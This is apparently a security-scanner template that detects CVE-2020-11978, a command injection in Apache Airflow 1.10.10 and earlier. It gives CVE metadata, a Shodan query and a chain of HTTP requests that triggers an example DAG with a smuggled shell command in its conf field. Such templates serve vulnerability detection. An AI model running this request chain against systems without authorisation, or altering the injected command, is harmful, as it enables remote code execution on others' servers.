Apache Airflow <=1.10.10 - Remote Code Execution

id: CVE-2020-11978

info:
  name: Apache Airflow <=1.10.10 - Remote Code Execution
  author: pdteam
  severity: high
  description: Apache Airflow versions 1.10.10 and below are vulnerable to remote code/command injection vulnerabilities in one of the example DAGs shipped with Airflow. This could allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable.
  reference:
    - https://github.com/pberba/CVE-2020-11978
    - https://twitter.com/wugeej/status/1400336603604668418
    - https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11978
    - http://packetstormsecurity.com/files/174764/Apache-Airflow-1.10.10-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-11978
    cwe-id: CWE-78
    epss-score: 0.97425
    epss-percentile: 0.99933
    cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: apache
    product: airflow
    shodan-query: title:"Airflow - DAGs" || http.html:"Apache Airflow"
  tags: cve2020,cve,packetstorm,apache,airflow,rce,kev

http:
  - raw:
      - |
        GET /api/experimental/test HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
      - |
        GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
      - |
        POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/json

        {"conf": {"message": "\"; touch test #"}}
      - |
        GET /api/experimental/dags/example_trigger_target_dag/dag_runs/{{exec_date}}/tasks/bash_task HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_4, "operator":"BashOperator")'
          - 'contains(header_4, "application/json")'
        condition: and

    extractors:
      - type: regex
        name: exec_date
        group: 1
        regex:
          - '"execution_date":"([0-9-A-Z:+]+)"'
        internal: true
        part: body
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